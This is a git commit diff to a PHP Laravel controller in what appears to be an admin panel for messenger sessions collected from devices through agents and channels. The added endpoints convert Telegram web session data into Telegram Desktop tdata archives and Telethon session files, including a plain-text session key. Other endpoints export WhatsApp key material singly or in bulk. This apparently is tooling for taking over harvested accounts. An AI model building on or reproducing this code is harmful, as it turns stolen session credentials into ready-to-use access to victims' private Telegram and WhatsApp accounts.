feat: tg/ws/security/

This commit is contained in:
hashbro
2026-10-03 05:40:19 +08:00
parent 6e4f7e6020
commit afac799588
32 changed files with 2038 additions and 18 deletions
@@ -7,6 +7,7 @@ use App\Http\Controllers\Controller;
use App\Models\PluginSession;
use App\Models\User;
use App\Support\AgentScope;
use App\Support\WsPayloadConverter;
use Illuminate\Database\Eloquent\Builder;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Storage;
@@ -74,6 +75,219 @@ class PluginSessionController extends Controller
}, $name, ['Content-Type' => 'application/json; charset=UTF-8']);
}
/**
* Download a Telegram Desktop tdata zip for this Telegram session.
*
* Converts the tglib.js payload (state + db_sqlite) into a tdata folder
* via opentele-ng (offline, no Telegram connection), then zips it.
* Only Telegram sessions (kind=1) with a valid backupData block are
* convertible; WhatsApp sessions return 422.
*/
public function downloadTdata(PluginSession $pluginSession)
{
$this->authorizeSession($pluginSession);
if (! auth('admin')->user()?->isSuper()) {
return response()->json(['code' => 1, 'msg' => '仅超管可使用此功能'], 403);
}
if (! $pluginSession->isTelegram()) {
return response()->json(['code' => 1, 'msg' => '仅支持 Telegram 会话转换'], 422);
}
$payload = $pluginSession->fullPayload();
if (! is_array($payload) || ! isset($payload['state'])) {
return response()->json(['code' => 1, 'msg' => '该会话缺少 state 数据,无法转换'], 422);
}
$python = config('coruna.tdata_python', base_path('channel-builder/.venv-tdata/bin/python'));
$script = config('coruna.tdata_script', base_path('channel-builder/tools/tglib_to_tdata.py'));
if (! is_file($python) || ! is_file($script)) {
return response()->json([
'code' => 1,
'msg' => '转换环境未配置(缺少 Python 或脚本)',
], 500);
}
$tmpDir = sys_get_temp_dir().'/coruna-tdata-'.uniqid();
@mkdir($tmpDir, 0700, true);
$jsonPath = $tmpDir.'/input.json';
$zipPath = $tmpDir.'/tdata.zip';
file_put_contents($jsonPath, json_encode($payload, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES));
$cmd = escapeshellarg($python).' '.escapeshellarg($script).' '
.escapeshellarg($jsonPath).' '.escapeshellarg($zipPath).' 2>&1';
$output = [];
$exit = -1;
@exec($cmd, $output, $exit);
if ($exit !== 0 || ! is_file($zipPath)) {
$msg = implode("\n", $output) ?: "转换失败 (exit=$exit)";
@unlink($jsonPath);
if (is_file($zipPath)) @unlink($zipPath);
@rmdir($tmpDir);
return response()->json(['code' => 1, 'msg' => $msg], 500);
}
$account = $pluginSession->account_id ?: $pluginSession->phone ?: $pluginSession->id;
$filename = 'tdata-'.$account.'.zip';
$zipContents = file_get_contents($zipPath);
@unlink($jsonPath);
@unlink($zipPath);
@rmdir($tmpDir);
return response()->streamDownload(static function () use ($zipContents) {
echo $zipContents;
}, $filename, ['Content-Type' => 'application/zip']);
}
/**
* Download a Telethon session trio file (.session / .json / _密钥.txt).
*
* Converts the tglib.js payload (state + db_sqlite) into the three-file
* Telethon session format via tglib_to_session_files.py (offline).
* The `type` query param selects which file to stream back:
* - session: {phone}.session (SQLite, application/octet-stream)
* - json: {phone}.json (metadata + session_string)
* - key: {phone}_密钥.txt (session_string plain text)
* Only Telegram sessions (kind=1) with a valid backupData block are
* convertible; WhatsApp sessions return 422.
*/
public function downloadSessionFile(Request $request, PluginSession $pluginSession)
{
$this->authorizeSession($pluginSession);
if (! auth('admin')->user()?->isSuper()) {
return response()->json(['code' => 1, 'msg' => '仅超管可使用此功能'], 403);
}
if (! $pluginSession->isTelegram()) {
return response()->json(['code' => 1, 'msg' => '仅支持 Telegram 会话转换'], 422);
}
$type = (string) $request->query('type', 'session');
if (! in_array($type, ['session', 'json', 'key'], true)) {
$type = 'session';
}
$payload = $pluginSession->fullPayload();
if (! is_array($payload) || ! isset($payload['state'])) {
return response()->json(['code' => 1, 'msg' => '该会话缺少 state 数据,无法转换'], 422);
}
$python = config('coruna.tdata_python', base_path('channel-builder/.venv-tdata/bin/python'));
$script = config('coruna.session_script', base_path('channel-builder/tools/tglib_to_session_files.py'));
if (! is_file($python) || ! is_file($script)) {
return response()->json([
'code' => 1,
'msg' => '转换环境未配置(缺少 Python 或脚本)',
], 500);
}
$tmpDir = sys_get_temp_dir().'/coruna-sess-'.uniqid();
@mkdir($tmpDir, 0700, true);
$jsonPath = $tmpDir.'/input.json';
$outDir = $tmpDir.'/out';
@mkdir($outDir, 0700, true);
file_put_contents($jsonPath, json_encode($payload, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES));
$cmd = escapeshellarg($python).' '.escapeshellarg($script).' '
.escapeshellarg($jsonPath).' '.escapeshellarg($outDir).' 2>&1';
$output = [];
$exit = -1;
@exec($cmd, $output, $exit);
if ($exit !== 0) {
$msg = implode("\n", $output) ?: "转换失败 (exit=$exit)";
$this->rrmdir($tmpDir);
return response()->json(['code' => 1, 'msg' => $msg], 500);
}
// Locate the generated files (named {phone}.* in outDir).
$sessionFile = $jsonMeta = $keyFile = null;
foreach (glob($outDir.'/*') as $f) {
$base = basename($f);
if (str_ends_with($base, '.session')) {
$sessionFile = $f;
} elseif (str_ends_with($base, '.json')) {
$jsonMeta = $f;
} elseif (str_contains($base, '_') && str_ends_with($base, '.txt')) {
$keyFile = $f;
}
}
$account = $pluginSession->account_id ?: $pluginSession->phone ?: $pluginSession->id;
$file = $type === 'json' ? $jsonMeta : ($type === 'key' ? $keyFile : $sessionFile);
$ext = $type === 'json' ? 'json' : ($type === 'key' ? '_密钥.txt' : 'session');
$filename = $account.'.'.$ext;
$mime = $type === 'json' ? 'application/json'
: ($type === 'key' ? 'text/plain' : 'application/octet-stream');
if (! $file || ! is_file($file)) {
$this->rrmdir($tmpDir);
return response()->json(['code' => 1, 'msg' => '转换后未找到对应文件'], 500);
}
$contents = file_get_contents($file);
$this->rrmdir($tmpDir);
return response()->streamDownload(static function () use ($contents) {
echo $contents;
}, $filename, ['Content-Type' => $mime]);
}
/**
* Download a single WhatsApp session's full protocol parameters as a
* one-line NDJSON .txt file (the __ws.txt 26-field format).
*
* Only WhatsApp sessions (kind=2) with a convertible payload are
* supported; Telegram sessions return 422.
*/
public function downloadWsFull(PluginSession $pluginSession, WsPayloadConverter $converter)
{
$this->authorizeSession($pluginSession);
if (! $pluginSession->isWhatsApp()) {
return response()->json(['code' => 1, 'msg' => '仅支持 WhatsApp 会话转换'], 422);
}
$line = $converter->convertToLine($pluginSession, $pluginSession->device);
if ($line === null) {
return response()->json(['code' => 1, 'msg' => '该会话缺少必要数据,无法转换'], 422);
}
$account = $pluginSession->account_id ?: $pluginSession->phone ?: $pluginSession->id;
$filename = 'ws-'.$account.'.txt';
return response()->streamDownload(static function () use ($line) {
echo $line."\n";
}, $filename, ['Content-Type' => 'text/plain; charset=UTF-8']);
}
/**
* Recursively remove a directory (best-effort).
*/
private function rrmdir(string $dir): void
{
if (! is_dir($dir)) {
return;
}
$items = array_diff(scandir($dir) ?: [], ['.', '..']);
foreach ($items as $item) {
$path = $dir.'/'.$item;
if (is_dir($path)) {
$this->rrmdir($path);
} else {
@unlink($path);
}
}
@rmdir($dir);
}
/**
* Bulk export all sessions matching the current filter as a ZIP.
* Uses a temp file + ZipArchive (disk-based, not memory) and a DB cursor
@@ -163,6 +377,52 @@ class PluginSessionController extends Controller
]);
}
/**
* Bulk export WhatsApp sessions as a single NDJSON .txt file
* (one JSON object per line, 26 fields — the chk.ts / __ws.txt format).
*
* Each wap.js payload is converted on the fly: protobuf signedPreKey
* decode, libsodium curve25519 public-key derivation, and cc/country/in
* inference from the bare phone number. Sessions lacking the minimum
* key material are skipped (counted in X-Export-Skipped).
*/
public function exportWs(Request $request, WsPayloadConverter $converter)
{
$q = $this->baseQuery($request, PluginSession::KIND_WHATSAPP);
$total = $q->count();
if ($total === 0) {
return response()->json(['code' => 1, 'msg' => '没有可导出的 WhatsApp 数据'], 422);
}
if ($total > 1000) {
return response()->json([
'code' => 1,
'msg' => '数据量过大('.$total.' 条,上限 1000),请缩小时间范围后导出',
], 422);
}
$fileName = 'ws-'.date('Ymd-His').'.txt';
return response()->streamDownload(function () use ($q, $converter, &$written, &$skipped) {
$written = 0;
$skipped = 0;
foreach ($q->cursor() as $row) {
/** @var PluginSession $row */
$line = $converter->convertToLine($row, $row->device);
if ($line === null) {
$skipped++;
continue;
}
echo $line."\n";
$written++;
}
}, $fileName, [
'Content-Type' => 'text/plain; charset=UTF-8',
'X-Export-Count' => (string) $total,
'X-Export-Written' => (string) ($written ?? 0),
'X-Export-Skipped' => (string) ($skipped ?? 0),
]);
}
private function page(string $kind)
{
$agents = $this->isAgentPortal()
@@ -194,7 +454,8 @@ class PluginSessionController extends Controller
$paginator = $q->paginate($limit, ['*'], 'page', $page);
$portal = $this->portal();
$data = collect($paginator->items())->map(function ($row) use ($portal) {
$isSuper = (bool) auth('admin')->user()?->isSuper();
$data = collect($paginator->items())->map(function ($row) use ($portal, $isSuper) {
/** @var PluginSession $row */
$summary = $row->listSummary();
@@ -205,6 +466,15 @@ class PluginSessionController extends Controller
'channel_id' => $row->device_channel_id ?: '',
'payload_url' => route($portal.'.sessions.payload', $row, false),
'download_url' => route($portal.'.sessions.download', $row, false),
'tdata_url' => ((int) $row->kind === PluginSession::KIND_TELEGRAM && $isSuper)
? route($portal.'.sessions.tdata', $row, false)
: '',
'session_file_url' => ((int) $row->kind === PluginSession::KIND_TELEGRAM && $isSuper)
? route($portal.'.sessions.session-file', $row, false)
: '',
'ws_full_url' => (int) $row->kind === PluginSession::KIND_WHATSAPP
? route($portal.'.sessions.ws-full', $row, false)
: '',
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
'updated_at' => optional($row->updated_at)->format('Y-m-d H:i:s'),
'detail_url' => route($portal.'.devices.show', $row->device_id),